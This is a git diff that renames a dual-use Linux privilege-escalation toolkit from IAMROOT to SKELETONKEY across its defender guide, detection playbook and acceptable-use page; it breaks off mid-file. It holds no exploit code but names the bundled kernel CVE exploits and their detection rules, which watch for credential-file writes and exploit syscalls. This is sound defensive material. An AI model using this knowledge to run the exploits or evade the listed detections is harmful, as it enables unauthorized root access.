@@ -109,7 +109,7 @@ the module).
|
|||||||
1. `git checkout -b add-cve-XXXX-NNNN`
|
1. `git checkout -b add-cve-XXXX-NNNN`
|
||||||
2. `cp -r modules/_stubs/_template modules/<module_name>`
|
2. `cp -r modules/_stubs/_template modules/<module_name>`
|
||||||
3. Fill in `MODULE.md`, `NOTICE.md`, `kernel-range.json`
|
3. Fill in `MODULE.md`, `NOTICE.md`, `kernel-range.json`
|
||||||
4. Implement `module.c` exposing the `iamroot_module` interface
|
4. Implement `module.c` exposing the `skeletonkey_module` interface
|
||||||
5. Ship at least one detection rule under `detect/`
|
5. Ship at least one detection rule under `detect/`
|
||||||
6. Add tests under `tests/`
|
6. Add tests under `tests/`
|
||||||
7. PR. CI runs the matrix. If it lands root on at least one
|
7. PR. CI runs the matrix. If it lands root on at least one
|
||||||
|
|||||||
+34
-34
@@ -1,25 +1,25 @@
|
|||||||
# IAMROOT for defenders
|
# SKELETONKEY for defenders
|
||||||
|
|
||||||
IAMROOT is dual-use: the same binary that runs exploits also ships the
|
SKELETONKEY is dual-use: the same binary that runs exploits also ships the
|
||||||
detection rules to spot them. This document is for the blue team.
|
detection rules to spot them. This document is for the blue team.
|
||||||
|
|
||||||
## TL;DR
|
## TL;DR
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
# 1. Detect what you're vulnerable to (no system modification)
|
# 1. Detect what you're vulnerable to (no system modification)
|
||||||
sudo iamroot --scan --json | jq .
|
sudo skeletonkey --scan --json | jq .
|
||||||
|
|
||||||
# 2. Deploy detection rules covering every bundled CVE
|
# 2. Deploy detection rules covering every bundled CVE
|
||||||
sudo iamroot --detect-rules --format=auditd | sudo tee /etc/audit/rules.d/99-iamroot.rules
|
sudo skeletonkey --detect-rules --format=auditd | sudo tee /etc/audit/rules.d/99-skeletonkey.rules
|
||||||
sudo systemctl restart auditd
|
sudo systemctl restart auditd
|
||||||
|
|
||||||
# 3. (Optional) Apply pre-patch mitigations for vulnerable families
|
# 3. (Optional) Apply pre-patch mitigations for vulnerable families
|
||||||
sudo iamroot --mitigate copy_fail # or whatever module reports VULNERABLE
|
sudo skeletonkey --mitigate copy_fail # or whatever module reports VULNERABLE
|
||||||
|
|
||||||
# 4. Watch
|
# 4. Watch
|
||||||
sudo ausearch -k iamroot-copy-fail -ts recent
|
sudo ausearch -k skeletonkey-copy-fail -ts recent
|
||||||
sudo ausearch -k iamroot-dirty-pipe -ts recent
|
sudo ausearch -k skeletonkey-dirty-pipe -ts recent
|
||||||
sudo ausearch -k iamroot-pwnkit -ts recent
|
sudo ausearch -k skeletonkey-pwnkit -ts recent
|
||||||
```
|
```
|
||||||
|
|
||||||
## Why a single tool for offense and defense
|
## Why a single tool for offense and defense
|
||||||
@@ -27,7 +27,7 @@ sudo ausearch -k iamroot-pwnkit -ts recent
|
|||||||
Public LPE PoCs ship without detection rules. Public detection rules
|
Public LPE PoCs ship without detection rules. Public detection rules
|
||||||
ship without test corpora. The gap means defenders deploy rules they
|
ship without test corpora. The gap means defenders deploy rules they
|
||||||
never validate against a real exploit, and attackers iterate against
|
never validate against a real exploit, and attackers iterate against
|
||||||
defenders who haven't tuned thresholds. IAMROOT closes that loop:
|
defenders who haven't tuned thresholds. SKELETONKEY closes that loop:
|
||||||
|
|
||||||
- Each module ships an exploit AND the detection rules that catch it.
|
- Each module ships an exploit AND the detection rules that catch it.
|
||||||
- Every CVE in `CVES.md` has a row in the rule corpus.
|
- Every CVE in `CVES.md` has a row in the rule corpus.
|
||||||
@@ -41,7 +41,7 @@ defenders who haven't tuned thresholds. IAMROOT closes that loop:
|
|||||||
### Inventory what's bundled
|
### Inventory what's bundled
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
iamroot --list
|
skeletonkey --list
|
||||||
```
|
```
|
||||||
|
|
||||||
Prints every registered module with CVE, family, and one-line summary.
|
Prints every registered module with CVE, family, and one-line summary.
|
||||||
@@ -49,9 +49,9 @@ Prints every registered module with CVE, family, and one-line summary.
|
|||||||
### Run all detectors
|
### Run all detectors
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
iamroot --scan # human-readable
|
skeletonkey --scan # human-readable
|
||||||
iamroot --scan --json # one JSON object → SIEM ingest
|
skeletonkey --scan --json # one JSON object → SIEM ingest
|
||||||
iamroot --scan --json | jq '.modules[] | select(.result == "VULNERABLE")'
|
skeletonkey --scan --json | jq '.modules[] | select(.result == "VULNERABLE")'
|
||||||
```
|
```
|
||||||
|
|
||||||
Result codes per module:
|
Result codes per module:
|
||||||
@@ -63,23 +63,23 @@ Result codes per module:
|
|||||||
| `PRECOND_FAIL` | Preconditions missing (module/feature not installed) | 4 |
|
| `PRECOND_FAIL` | Preconditions missing (module/feature not installed) | 4 |
|
||||||
| `TEST_ERROR` | Probe could not run (permissions, missing tools, etc.) | 1 |
|
| `TEST_ERROR` | Probe could not run (permissions, missing tools, etc.) | 1 |
|
||||||
|
|
||||||
`iamroot --scan` returns the WORST result code across all modules.
|
`skeletonkey --scan` returns the WORST result code across all modules.
|
||||||
Use this in CI to fail builds that produce vulnerable images.
|
Use this in CI to fail builds that produce vulnerable images.
|
||||||
|
|
||||||
### Deploy detection rules
|
### Deploy detection rules
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
# auditd (most environments)
|
# auditd (most environments)
|
||||||
sudo iamroot --detect-rules --format=auditd \
|
sudo skeletonkey --detect-rules --format=auditd \
|
||||||
| sudo tee /etc/audit/rules.d/99-iamroot.rules
|
| sudo tee /etc/audit/rules.d/99-skeletonkey.rules
|
||||||
sudo augenrules --load # or systemctl restart auditd
|
sudo augenrules --load # or systemctl restart auditd
|
||||||
|
|
||||||
# Sigma (for SIEMs that ingest sigma)
|
# Sigma (for SIEMs that ingest sigma)
|
||||||
iamroot --detect-rules --format=sigma > /etc/falco/iamroot.sigma.yml
|
skeletonkey --detect-rules --format=sigma > /etc/falco/skeletonkey.sigma.yml
|
||||||
|
|
||||||
# YARA / Falco — placeholders for future modules; currently empty
|
# YARA / Falco — placeholders for future modules; currently empty
|
||||||
iamroot --detect-rules --format=yara
|
skeletonkey --detect-rules --format=yara
|
||||||
iamroot --detect-rules --format=falco
|
skeletonkey --detect-rules --format=falco
|
||||||
```
|
```
|
||||||
|
|
||||||
Rules are emitted in registry order, deduplicated by string-pointer:
|
Rules are emitted in registry order, deduplicated by string-pointer:
|
||||||
@@ -91,19 +91,19 @@ auditd config).
|
|||||||
|
|
||||||
| Key | Modules | What it catches |
|
| Key | Modules | What it catches |
|
||||||
|---|---|---|
|
|---|---|---|
|
||||||
| `iamroot-copy-fail` | copy_fail, copy_fail_gcm, dirty_frag_esp{,6}, dirty_frag_rxrpc | Writes to passwd/shadow/sudoers/su |
|
| `skeletonkey-copy-fail` | copy_fail, copy_fail_gcm, dirty_frag_esp{,6}, dirty_frag_rxrpc | Writes to passwd/shadow/sudoers/su |
|
||||||
| `iamroot-copy-fail-afalg` | copy_fail family | AF_ALG socket creation (kernel crypto API used by exploit) |
|
| `skeletonkey-copy-fail-afalg` | copy_fail family | AF_ALG socket creation (kernel crypto API used by exploit) |
|
||||||
| `iamroot-copy-fail-xfrm` | copy_fail family | xfrm setsockopt (Dirty Frag ESP variants) |
|
| `skeletonkey-copy-fail-xfrm` | copy_fail family | xfrm setsockopt (Dirty Frag ESP variants) |
|
||||||
| `iamroot-dirty-pipe` | dirty_pipe | Same target files; complements copy-fail watches |
|
| `skeletonkey-dirty-pipe` | dirty_pipe | Same target files; complements copy-fail watches |
|
||||||
| `iamroot-dirty-pipe-splice` | dirty_pipe | splice() syscalls (the bug's primitive) |
|
| `skeletonkey-dirty-pipe-splice` | dirty_pipe | splice() syscalls (the bug's primitive) |
|
||||||
| `iamroot-pwnkit` | pwnkit | pkexec watch |
|
| `skeletonkey-pwnkit` | pwnkit | pkexec watch |
|
||||||
| `iamroot-pwnkit-execve` | pwnkit | execve of pkexec — combine with audit of argv to catch argc=0 |
|
| `skeletonkey-pwnkit-execve` | pwnkit | execve of pkexec — combine with audit of argv to catch argc=0 |
|
||||||
|
|
||||||
Search:
|
Search:
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
sudo ausearch -k iamroot-copy-fail -ts today
|
sudo ausearch -k skeletonkey-copy-fail -ts today
|
||||||
sudo ausearch -k iamroot-pwnkit -ts today
|
sudo ausearch -k skeletonkey-pwnkit -ts today
|
||||||
```
|
```
|
||||||
|
|
||||||
### Mitigate (pre-patch)
|
### Mitigate (pre-patch)
|
||||||
@@ -114,10 +114,10 @@ distro-portable workarounds:
|
|||||||
```bash
|
```bash
|
||||||
# Currently: copy_fail_family — blacklists algif_aead/esp4/esp6/rxrpc,
|
# Currently: copy_fail_family — blacklists algif_aead/esp4/esp6/rxrpc,
|
||||||
# sets kernel.apparmor_restrict_unprivileged_userns=1, drops caches.
|
# sets kernel.apparmor_restrict_unprivileged_userns=1, drops caches.
|
||||||
sudo iamroot --mitigate copy_fail
|
sudo skeletonkey --mitigate copy_fail
|
||||||
|
|
||||||
# Revert mitigation (e.g., before applying the real kernel patch)
|
# Revert mitigation (e.g., before applying the real kernel patch)
|
||||||
sudo iamroot --cleanup copy_fail
|
sudo skeletonkey --cleanup copy_fail
|
||||||
```
|
```
|
||||||
|
|
||||||
Modules without `--mitigate` (dirty_pipe, entrybleed, pwnkit) report
|
Modules without `--mitigate` (dirty_pipe, entrybleed, pwnkit) report
|
||||||
@@ -131,7 +131,7 @@ The `--scan --json` output is one-line-per-host friendly:
|
|||||||
```bash
|
```bash
|
||||||
# scan a host list via ssh
|
# scan a host list via ssh
|
||||||
for h in $(cat fleet.txt); do
|
for h in $(cat fleet.txt); do
|
||||||
ssh $h sudo iamroot --scan --json | jq --arg h "$h" '. + {host: $h}'
|
ssh $h sudo skeletonkey --scan --json | jq --arg h "$h" '. + {host: $h}'
|
||||||
done | jq -s . > fleet-scan-$(date +%F).json
|
done | jq -s . > fleet-scan-$(date +%F).json
|
||||||
|
|
||||||
# group by vulnerability
|
# group by vulnerability
|
||||||
@@ -148,9 +148,9 @@ modification.
|
|||||||
|
|
||||||
| Rule | False-positive shape |
|
| Rule | False-positive shape |
|
||||||
|---|---|
|
|---|---|
|
||||||
| `iamroot-copy-fail-afalg` | strongSwan and IPsec daemons use AF_ALG legitimately — scope with `-F auid=` to exclude service accounts |
|
| `skeletonkey-copy-fail-afalg` | strongSwan and IPsec daemons use AF_ALG legitimately — scope with `-F auid=` to exclude service accounts |
|
||||||
| `iamroot-dirty-pipe-splice` | nginx, HAProxy, kTLS use splice() heavily — scope with `-F gid!=33 -F gid!=99` for those service accounts |
|
| `skeletonkey-dirty-pipe-splice` | nginx, HAProxy, kTLS use splice() heavily — scope with `-F gid!=33 -F gid!=99` for those service accounts |
|
||||||
| `iamroot-pwnkit-execve` | gnome-software, polkit's own dispatcher legitimately exec pkexec — scope by parent process if you can correlate |
|
| `skeletonkey-pwnkit-execve` | gnome-software, polkit's own dispatcher legitimately exec pkexec — scope by parent process if you can correlate |
|
||||||
|
|
||||||
The shipped rules are starting points. Tune per environment.
|
The shipped rules are starting points. Tune per environment.
|
||||||
|
|
||||||
|
|||||||
+53
-53
@@ -1,6 +1,6 @@
|
|||||||
# IAMROOT detection playbook
|
# SKELETONKEY detection playbook
|
||||||
|
|
||||||
Operational guide for blue teams using IAMROOT defensively. Pairs
|
Operational guide for blue teams using SKELETONKEY defensively. Pairs
|
||||||
with `docs/DEFENDERS.md` (the "what" reference) — this is the "how to
|
with `docs/DEFENDERS.md` (the "what" reference) — this is the "how to
|
||||||
make it part of your daily ops" guide.
|
make it part of your daily ops" guide.
|
||||||
|
|
||||||
@@ -8,15 +8,15 @@ make it part of your daily ops" guide.
|
|||||||
|
|
||||||
```
|
```
|
||||||
┌─────────────┐
|
┌─────────────┐
|
||||||
│ inventory │ ← iamroot --list (what's bundled?)
|
│ inventory │ ← skeletonkey --list (what's bundled?)
|
||||||
└──────┬──────┘
|
└──────┬──────┘
|
||||||
▼
|
▼
|
||||||
┌─────────────┐
|
┌─────────────┐
|
||||||
│ scan │ ← iamroot --scan --json (what am I vulnerable to?)
|
│ scan │ ← skeletonkey --scan --json (what am I vulnerable to?)
|
||||||
└──────┬──────┘
|
└──────┬──────┘
|
||||||
▼
|
▼
|
||||||
┌─────────────┐
|
┌─────────────┐
|
||||||
│ fleet scan │ ← iamroot-fleet-scan.sh hosts.txt
|
│ fleet scan │ ← skeletonkey-fleet-scan.sh hosts.txt
|
||||||
└──────┬──────┘
|
└──────┬──────┘
|
||||||
▼
|
▼
|
||||||
┌────────────┼────────────┐
|
┌────────────┼────────────┐
|
||||||
@@ -29,7 +29,7 @@ make it part of your daily ops" guide.
|
|||||||
└────────────┼────────────┘
|
└────────────┼────────────┘
|
||||||
▼
|
▼
|
||||||
┌─────────────┐
|
┌─────────────┐
|
||||||
│ monitor │ ← ausearch -k iamroot-* / SIEM alerts
|
│ monitor │ ← ausearch -k skeletonkey-* / SIEM alerts
|
||||||
└─────────────┘
|
└─────────────┘
|
||||||
```
|
```
|
||||||
|
|
||||||
@@ -39,17 +39,17 @@ make it part of your daily ops" guide.
|
|||||||
|
|
||||||
```bash
|
```bash
|
||||||
# Daily/weekly hygiene check
|
# Daily/weekly hygiene check
|
||||||
sudo iamroot --scan
|
sudo skeletonkey --scan
|
||||||
|
|
||||||
# If anything's VULNERABLE, deploy detections + apply mitigation
|
# If anything's VULNERABLE, deploy detections + apply mitigation
|
||||||
sudo iamroot --detect-rules --format=auditd | sudo tee /etc/audit/rules.d/99-iamroot.rules
|
sudo skeletonkey --detect-rules --format=auditd | sudo tee /etc/audit/rules.d/99-skeletonkey.rules
|
||||||
sudo augenrules --load
|
sudo augenrules --load
|
||||||
sudo iamroot --mitigate copy_fail # or whichever module fired
|
sudo skeletonkey --mitigate copy_fail # or whichever module fired
|
||||||
```
|
```
|
||||||
|
|
||||||
### Small fleet (~10-100 hosts, SSH-reachable)
|
### Small fleet (~10-100 hosts, SSH-reachable)
|
||||||
|
|
||||||
Use `tools/iamroot-fleet-scan.sh`:
|
Use `tools/skeletonkey-fleet-scan.sh`:
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
# Hosts list — one per line; user@host:port supported
|
# Hosts list — one per line; user@host:port supported
|
||||||
@@ -61,8 +61,8 @@ ops@db-01:2222
|
|||||||
EOF
|
EOF
|
||||||
|
|
||||||
# Scan; binary scp'd, run, cleaned up. Output is one JSON doc.
|
# Scan; binary scp'd, run, cleaned up. Output is one JSON doc.
|
||||||
./iamroot-fleet-scan.sh \
|
./skeletonkey-fleet-scan.sh \
|
||||||
--binary ./iamroot \
|
--binary ./skeletonkey \
|
||||||
--ssh-key ~/.ssh/ops_key \
|
--ssh-key ~/.ssh/ops_key \
|
||||||
--parallel 8 \
|
--parallel 8 \
|
||||||
hosts.txt > fleet-scan-$(date +%F).json
|
hosts.txt > fleet-scan-$(date +%F).json
|
||||||
@@ -95,7 +95,7 @@ Output shape:
|
|||||||
|
|
||||||
### Larger fleet (>100 hosts)
|
### Larger fleet (>100 hosts)
|
||||||
|
|
||||||
`iamroot-fleet-scan.sh` is intentionally simple (parallel ssh). For
|
`skeletonkey-fleet-scan.sh` is intentionally simple (parallel ssh). For
|
||||||
fleets too large for SSH-fan-out, wrap it in your config-management
|
fleets too large for SSH-fan-out, wrap it in your config-management
|
||||||
tool of choice:
|
tool of choice:
|
||||||
|
|
||||||
@@ -108,22 +108,22 @@ tool of choice:
|
|||||||
Sample Ansible task:
|
Sample Ansible task:
|
||||||
|
|
||||||
```yaml
|
```yaml
|
||||||
- name: scan with iamroot
|
- name: scan with skeletonkey
|
||||||
copy:
|
copy:
|
||||||
src: iamroot
|
src: skeletonkey
|
||||||
dest: /tmp/iamroot
|
dest: /tmp/skeletonkey
|
||||||
mode: '0755'
|
mode: '0755'
|
||||||
- name: run --scan --json
|
- name: run --scan --json
|
||||||
command: /tmp/iamroot --scan --json --no-color
|
command: /tmp/skeletonkey --scan --json --no-color
|
||||||
register: scan
|
register: scan
|
||||||
changed_when: false
|
changed_when: false
|
||||||
failed_when: false # iamroot exit codes are semantic, not errors
|
failed_when: false # skeletonkey exit codes are semantic, not errors
|
||||||
- name: collect
|
- name: collect
|
||||||
set_fact:
|
set_fact:
|
||||||
iamroot_scan: "{{ scan.stdout | from_json }}"
|
skeletonkey_scan: "{{ scan.stdout | from_json }}"
|
||||||
- name: cleanup
|
- name: cleanup
|
||||||
file:
|
file:
|
||||||
path: /tmp/iamroot
|
path: /tmp/skeletonkey
|
||||||
state: absent
|
state: absent
|
||||||
```
|
```
|
||||||
|
|
||||||
@@ -133,46 +133,46 @@ Sample Ansible task:
|
|||||||
|
|
||||||
```
|
```
|
||||||
# splunk input config (inputs.conf)
|
# splunk input config (inputs.conf)
|
||||||
[script:///opt/iamroot/iamroot-cron-scan.sh]
|
[script:///opt/skeletonkey/skeletonkey-cron-scan.sh]
|
||||||
interval = 86400
|
interval = 86400
|
||||||
source = iamroot
|
source = skeletonkey
|
||||||
sourcetype = iamroot:scan
|
sourcetype = skeletonkey:scan
|
||||||
```
|
```
|
||||||
|
|
||||||
`iamroot-cron-scan.sh`:
|
`skeletonkey-cron-scan.sh`:
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
#!/bin/bash
|
#!/bin/bash
|
||||||
/usr/local/bin/iamroot --scan --json --no-color
|
/usr/local/bin/skeletonkey --scan --json --no-color
|
||||||
```
|
```
|
||||||
|
|
||||||
Search the indexed events:
|
Search the indexed events:
|
||||||
|
|
||||||
```spl
|
```spl
|
||||||
index=iamroot sourcetype="iamroot:scan" modules{}.result=VULNERABLE
|
index=skeletonkey sourcetype="skeletonkey:scan" modules{}.result=VULNERABLE
|
||||||
| stats count by host modules{}.cve
|
| stats count by host modules{}.cve
|
||||||
```
|
```
|
||||||
|
|
||||||
### Elastic / OpenSearch
|
### Elastic / OpenSearch
|
||||||
|
|
||||||
Filebeat module reading the per-host scan JSON files (one per day),
|
Filebeat module reading the per-host scan JSON files (one per day),
|
||||||
indexed into an `iamroot-*` index pattern. Standard Kibana
|
indexed into an `skeletonkey-*` index pattern. Standard Kibana
|
||||||
visualization on `modules.cve` over time tracks vulnerability lifecycle.
|
visualization on `modules.cve` over time tracks vulnerability lifecycle.
|
||||||
|
|
||||||
### Sigma → your platform
|
### Sigma → your platform
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
# Ship Sigma rules into your platform
|
# Ship Sigma rules into your platform
|
||||||
iamroot --detect-rules --format=sigma > /etc/sigma/iamroot.yml
|
skeletonkey --detect-rules --format=sigma > /etc/sigma/skeletonkey.yml
|
||||||
# Convert to your target (Sentinel, Elastic, etc.) via sigmac
|
# Convert to your target (Sentinel, Elastic, etc.) via sigmac
|
||||||
sigmac -t elastic /etc/sigma/iamroot.yml
|
sigmac -t elastic /etc/sigma/skeletonkey.yml
|
||||||
```
|
```
|
||||||
|
|
||||||
## Day-to-day operational shape
|
## Day-to-day operational shape
|
||||||
|
|
||||||
### What "good" looks like in the SIEM
|
### What "good" looks like in the SIEM
|
||||||
|
|
||||||
- Daily `iamroot --scan --json` from every host indexed
|
- Daily `skeletonkey --scan --json` from every host indexed
|
||||||
- Trend dashboard: count of VULNERABLE results by CVE over time
|
- Trend dashboard: count of VULNERABLE results by CVE over time
|
||||||
- Goal: every VULNERABLE → OK transition within SLA (e.g., 14 days for
|
- Goal: every VULNERABLE → OK transition within SLA (e.g., 14 days for
|
||||||
patched-mainline bugs, 24h for actively-exploited)
|
patched-mainline bugs, 24h for actively-exploited)
|
||||||
@@ -181,22 +181,22 @@ sigmac -t elastic /etc/sigma/iamroot.yml
|
|||||||
|
|
||||||
### Auditd events from the embedded rules
|
### Auditd events from the embedded rules
|
||||||
|
|
||||||
After deploying `iamroot --detect-rules --format=auditd`:
|
After deploying `skeletonkey --detect-rules --format=auditd`:
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
# By module key
|
# By module key
|
||||||
sudo ausearch -k iamroot-copy-fail -ts today
|
sudo ausearch -k skeletonkey-copy-fail -ts today
|
||||||
sudo ausearch -k iamroot-dirty-pipe -ts today
|
sudo ausearch -k skeletonkey-dirty-pipe -ts today
|
||||||
sudo ausearch -k iamroot-pwnkit -ts today
|
sudo ausearch -k skeletonkey-pwnkit -ts today
|
||||||
sudo ausearch -k iamroot-nf-tables-userns -ts today
|
sudo ausearch -k skeletonkey-nf-tables-userns -ts today
|
||||||
sudo ausearch -k iamroot-overlayfs -ts today
|
sudo ausearch -k skeletonkey-overlayfs -ts today
|
||||||
|
|
||||||
# Anything iamroot-tagged in the last hour
|
# Anything skeletonkey-tagged in the last hour
|
||||||
sudo ausearch -k 'iamroot-*' -ts recent
|
sudo ausearch -k 'skeletonkey-*' -ts recent
|
||||||
|
|
||||||
# Forward to syslog (rsyslog example)
|
# Forward to syslog (rsyslog example)
|
||||||
# /etc/rsyslog.d/iamroot.conf:
|
# /etc/rsyslog.d/skeletonkey.conf:
|
||||||
:msg, contains, "iamroot-" @@your-siem.example.com:514
|
:msg, contains, "skeletonkey-" @@your-siem.example.com:514
|
||||||
```
|
```
|
||||||
|
|
||||||
### When a VULNERABLE result fires
|
### When a VULNERABLE result fires
|
||||||
@@ -208,11 +208,11 @@ A scan reports VULNERABLE for module X
|
|||||||
│
|
│
|
||||||
├── Q: Can I patch the underlying kernel / package?
|
├── Q: Can I patch the underlying kernel / package?
|
||||||
│ ├── YES → schedule patch window. In the meantime:
|
│ ├── YES → schedule patch window. In the meantime:
|
||||||
│ │ iamroot --mitigate X (if supported)
|
│ │ skeletonkey --mitigate X (if supported)
|
||||||
│ │ Verify auditd rule for X is loaded.
|
│ │ Verify auditd rule for X is loaded.
|
||||||
│ │ Monitor for the rule key.
|
│ │ Monitor for the rule key.
|
||||||
│ └── NO (legacy LTS, embedded device, prod freeze) →
|
│ └── NO (legacy LTS, embedded device, prod freeze) →
|
||||||
│ iamroot --mitigate X (essential)
|
│ skeletonkey --mitigate X (essential)
|
||||||
│ Compensating control: tighten LSM (SELinux/AppArmor)
|
│ Compensating control: tighten LSM (SELinux/AppArmor)
|
||||||
│ Document in risk register
|
│ Document in risk register
|
||||||
│
|
│
|
||||||
@@ -238,7 +238,7 @@ If you applied a mitigation and now need to revert (e.g., the kernel
|
|||||||
patch has rolled out fleet-wide):
|
patch has rolled out fleet-wide):
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
sudo iamroot --cleanup copy_fail
|
sudo skeletonkey --cleanup copy_fail
|
||||||
# OR manually:
|
# OR manually:
|
||||||
sudo rm /etc/modprobe.d/dirtyfail-mitigations.conf
|
sudo rm /etc/modprobe.d/dirtyfail-mitigations.conf
|
||||||
sudo rm /etc/sysctl.d/99-dirtyfail-mitigations.conf
|
sudo rm /etc/sysctl.d/99-dirtyfail-mitigations.conf
|
||||||
@@ -249,11 +249,11 @@ sudo rm /etc/sysctl.d/99-dirtyfail-mitigations.conf
|
|||||||
|
|
||||||
| Rule key | False positive | Fix |
|
| Rule key | False positive | Fix |
|
||||||
|---|---|---|
|
|---|---|---|
|
||||||
| `iamroot-copy-fail-afalg` | strongSwan, libcrypto using kernel crypto | `-F auid=` exclude service account UIDs |
|
| `skeletonkey-copy-fail-afalg` | strongSwan, libcrypto using kernel crypto | `-F auid=` exclude service account UIDs |
|
||||||
| `iamroot-dirty-pipe-splice` | nginx, HAProxy, kTLS | `-F gid!=33 -F gid!=99` exclude web service accounts |
|
| `skeletonkey-dirty-pipe-splice` | nginx, HAProxy, kTLS | `-F gid!=33 -F gid!=99` exclude web service accounts |
|
||||||
| `iamroot-pwnkit-execve` | gnome-software, polkit's own re-exec | Correlate by parent process; pkexec via gnome dbus is benign |
|
| `skeletonkey-pwnkit-execve` | gnome-software, polkit's own re-exec | Correlate by parent process; pkexec via gnome dbus is benign |
|
||||||
| `iamroot-nf-tables-userns` | docker rootless, podman, snap confined apps | Whitelist known userns-using service GIDs |
|
| `skeletonkey-nf-tables-userns` | docker rootless, podman, snap confined apps | Whitelist known userns-using service GIDs |
|
||||||
| `iamroot-overlayfs` | docker / containerd mounting overlayfs as root | The rule is intended for unprivileged-userns overlayfs mounts; add `-F auid>=1000` |
|
| `skeletonkey-overlayfs` | docker / containerd mounting overlayfs as root | The rule is intended for unprivileged-userns overlayfs mounts; add `-F auid>=1000` |
|
||||||
|
|
||||||
## Pre-patch quarantine pattern
|
## Pre-patch quarantine pattern
|
||||||
|
|
||||||
@@ -261,13 +261,13 @@ If a CVE is in active exploitation and you can't patch immediately:
|
|||||||
|
|
||||||
```bash
|
```bash
|
||||||
# Stage 1: detect
|
# Stage 1: detect
|
||||||
sudo iamroot --scan --json | jq '.modules[] | select(.cve == "CVE-XXXX")'
|
sudo skeletonkey --scan --json | jq '.modules[] | select(.cve == "CVE-XXXX")'
|
||||||
|
|
||||||
# Stage 2: mitigate (where supported)
|
# Stage 2: mitigate (where supported)
|
||||||
sudo iamroot --mitigate <module>
|
sudo skeletonkey --mitigate <module>
|
||||||
|
|
||||||
# Stage 3: monitor — auditd rules already deployed
|
# Stage 3: monitor — auditd rules already deployed
|
||||||
sudo ausearch -k 'iamroot-*' -ts today | grep <module>
|
sudo ausearch -k 'skeletonkey-*' -ts today | grep <module>
|
||||||
|
|
||||||
# Stage 4: contain — temporarily restrict the trigger surface
|
# Stage 4: contain — temporarily restrict the trigger surface
|
||||||
# e.g., for nf_tables CVE-2024-1086:
|
# e.g., for nf_tables CVE-2024-1086:
|
||||||
@@ -281,7 +281,7 @@ sudo sysctl -w kernel.apparmor_restrict_unprivileged_userns=1
|
|||||||
|
|
||||||
## Maintenance contract
|
## Maintenance contract
|
||||||
|
|
||||||
When IAMROOT ships a new module:
|
When SKELETONKEY ships a new module:
|
||||||
|
|
||||||
1. CI test passes on at least one vulnerable + patched kernel pair
|
1. CI test passes on at least one vulnerable + patched kernel pair
|
||||||
2. Detection rules ship alongside (auditd + sigma minimum)
|
2. Detection rules ship alongside (auditd + sigma minimum)
|
||||||
@@ -293,7 +293,7 @@ Treat these as the SLA for any blue-team-facing deliverable.
|
|||||||
|
|
||||||
## When you find a new false positive
|
## When you find a new false positive
|
||||||
|
|
||||||
File an issue at https://github.com/KaraZajac/IAMROOT/issues with:
|
File an issue at https://github.com/KaraZajac/SKELETONKEY/issues with:
|
||||||
- The exact ausearch line that fired
|
- The exact ausearch line that fired
|
||||||
- The legitimate process that produced it
|
- The legitimate process that produced it
|
||||||
- Distro / kernel version
|
- Distro / kernel version
|
||||||
|
|||||||
+13
-13
@@ -2,24 +2,24 @@
|
|||||||
|
|
||||||
## Acceptable use
|
## Acceptable use
|
||||||
|
|
||||||
IAMROOT is intended for:
|
SKELETONKEY is intended for:
|
||||||
|
|
||||||
1. **Authorized red-team / pentest engagements.** You have a written
|
1. **Authorized red-team / pentest engagements.** You have a written
|
||||||
scope, signed by someone who can authorize testing on the target
|
scope, signed by someone who can authorize testing on the target
|
||||||
systems.
|
systems.
|
||||||
2. **Defensive teams testing detection coverage.** You're using
|
2. **Defensive teams testing detection coverage.** You're using
|
||||||
IAMROOT in a lab to verify your auditd/sigma/falco rules fire as
|
SKELETONKEY in a lab to verify your auditd/sigma/falco rules fire as
|
||||||
expected.
|
expected.
|
||||||
3. **Security researchers studying historical LPEs.** You're reading
|
3. **Security researchers studying historical LPEs.** You're reading
|
||||||
the code, running it in your own VMs, learning how the primitives
|
the code, running it in your own VMs, learning how the primitives
|
||||||
actually work end-to-end.
|
actually work end-to-end.
|
||||||
4. **Build engineers verifying patch coverage.** You're running
|
4. **Build engineers verifying patch coverage.** You're running
|
||||||
`iamroot --scan` against your fleet's golden images to confirm
|
`skeletonkey --scan` against your fleet's golden images to confirm
|
||||||
each known CVE shows up as patched.
|
each known CVE shows up as patched.
|
||||||
|
|
||||||
## Not-acceptable use
|
## Not-acceptable use
|
||||||
|
|
||||||
IAMROOT should not be used:
|
SKELETONKEY should not be used:
|
||||||
|
|
||||||
1. On systems you do not own and have not been authorized to test
|
1. On systems you do not own and have not been authorized to test
|
||||||
2. As part of unauthorized access to any system
|
2. As part of unauthorized access to any system
|
||||||
@@ -28,18 +28,18 @@ IAMROOT should not be used:
|
|||||||
4. To build a worm, scanner, or any tool that automatically targets
|
4. To build a worm, scanner, or any tool that automatically targets
|
||||||
systems at scale without per-target authorization
|
systems at scale without per-target authorization
|
||||||
|
|
||||||
By using IAMROOT you assert that your use falls into the
|
By using SKELETONKEY you assert that your use falls into the
|
||||||
acceptable-use cases above.
|
acceptable-use cases above.
|
||||||
|
|
||||||
## Why this is publishable
|
## Why this is publishable
|
||||||
|
|
||||||
Every CVE bundled in IAMROOT is:
|
Every CVE bundled in SKELETONKEY is:
|
||||||
|
|
||||||
- **Already patched** in upstream mainline kernel
|
- **Already patched** in upstream mainline kernel
|
||||||
- **Already published** in NVD or distro security trackers
|
- **Already published** in NVD or distro security trackers
|
||||||
- **Already covered** by existing public PoCs
|
- **Already covered** by existing public PoCs
|
||||||
|
|
||||||
IAMROOT does not introduce new offensive capability. It bundles,
|
SKELETONKEY does not introduce new offensive capability. It bundles,
|
||||||
documents, and CI-tests what is already public — and ships the
|
documents, and CI-tests what is already public — and ships the
|
||||||
detection signatures defenders need to spot it.
|
detection signatures defenders need to spot it.
|
||||||
|
|
||||||
@@ -51,25 +51,25 @@ real defensive value through the detection-rule exports.
|
|||||||
|
|
||||||
## Disclosure
|
## Disclosure
|
||||||
|
|
||||||
If you find a bug in IAMROOT itself (incorrect detection, broken
|
If you find a bug in SKELETONKEY itself (incorrect detection, broken
|
||||||
exploit on a kernel where it should work, missing a backport in the
|
exploit on a kernel where it should work, missing a backport in the
|
||||||
range metadata): file a public GitHub issue.
|
